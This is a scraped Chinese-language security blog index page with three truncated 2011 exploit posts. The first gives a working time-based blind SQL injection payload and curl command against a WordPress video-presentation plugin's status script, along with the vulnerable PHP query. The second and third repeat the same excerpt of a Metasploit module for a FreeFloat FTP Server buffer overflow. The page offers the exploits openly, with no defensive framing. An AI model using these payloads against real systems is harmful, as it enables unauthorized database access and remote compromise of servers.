SECURITY RESEARCH / ENGINEERING
文章与研究
在证据与实验中理解复杂系统。
2011-09-02
http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20
e.g.:
curl --data "s=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.site.com/wp-content/plugins/videowhisper-video-presentation/vp/c_status.php
Vulnerable code
$s=$_POST['s'];
...
$sql = "SELECT * FROM $table_name where session='$s' and status='1'";
$session = $wpdb->get_row($sql......
阅读全文 →
2011-09-02
$Id: fftp_bof.rb 2011-09-01 20:14 KedAns-Dz $
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeFloat FTP Server Multiple Remote Buffer Overflow Exploit',
'Description' => %q{
This module exploits a FreeFloat FTP Server Buffer Overflow
found in the MKD/REST/ACCL command's.
},
'Author' => [
'C4SS!0 G0M3S', # Discovery Vuln.
'KedAns-Dz' # Metasploit Module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 0.1',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/17539' ],
[ 'URL......
阅读全文 →
2011-09-02
$Id: fftp_bof.rb 2011-09-01 20:14 KedAns-Dz $
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeFloat FTP Server Multiple Remote Buffer Overflow Exploit',
'Description' => %q{
This module exploits a FreeFloat FTP Server Buffer Overflow
found in the MKD/REST/ACCL command's.
},
'Author' => [
'C4SS!0 G0M3S', # Discovery Vuln.
'KedAns-Dz' # Metasploit Module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 0.1',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/17539' ],
[ 'URL......
阅读全文 →